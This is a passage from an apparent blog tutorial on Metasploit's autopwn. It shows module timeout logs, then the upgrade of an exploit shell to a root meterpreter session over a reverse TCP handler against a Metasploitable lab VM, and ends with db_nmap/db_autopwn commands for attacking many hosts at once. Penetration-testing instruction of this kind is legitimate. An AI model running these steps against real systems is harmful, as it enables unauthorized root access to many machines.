[*]  >> autopwn module timeout from exploit/linux/http/trueonline_p660hn_v1_rce after 150.87934255599976 seconds
[*] (533/533 [1 sessions]): Waiting on 136 launched modules to finish execution...
[*]  >> autopwn module timeout from exploit/linux/http/sophos_wpa_sblistpack_exec after 151.77907156944275 seconds
[*]  >> autopwn module timeout from exploit/linux/http/pandora_fms_exec after 152.29020595550537 seconds`

I got a shell from exploit. let’s upgrade for a little more functionality.
Upgrade shell to meterpreter!

HAHWUL  > use post/multi/manage/shell_to_meterpreter
HAHWUL post(shell_to_meterpreter) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
HAHWUL post(shell_to_meterpreter) > set SESSION 2
SESSION => 2
HAHWUL post(shell_to_meterpreter) > run

[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.56.1:4433
[*] Sending stage (826872 bytes) to 192.168.56.101
[*] Meterpreter session 3 opened (192.168.56.1:4433 -> 192.168.56.101:48732) at 2019-03-01 23:40:14 +0900
[*] Command stager progress: 100.00% (736/736 bytes)
[*] Post module execution completed
HAHWUL post(shell_to_meterpreter) > 
HAHWUL post(shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Type                   Information                                                Connection
  --  ----                   -----------                                                ----------
  2   shell cmd/unix                                                                    192.168.56.1:38018 -> 192.168.56.101:19274 (192.168.56.101)
  3   meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain  192.168.56.1:4433 -> 192.168.56.101:48732 (192.168.56.101)

Nice!

If you use db and scan the band with db_nmap, the content is stored in db_host, which allows you to attempt attacks with multiple targets without specifying a host.

HAHWUL> db_nmap -PN {targets..}
HAHWUL> db_hosts
HAHWUL > db_autopwn -pb

Thank you for reading :)
Share: | Coffee Me: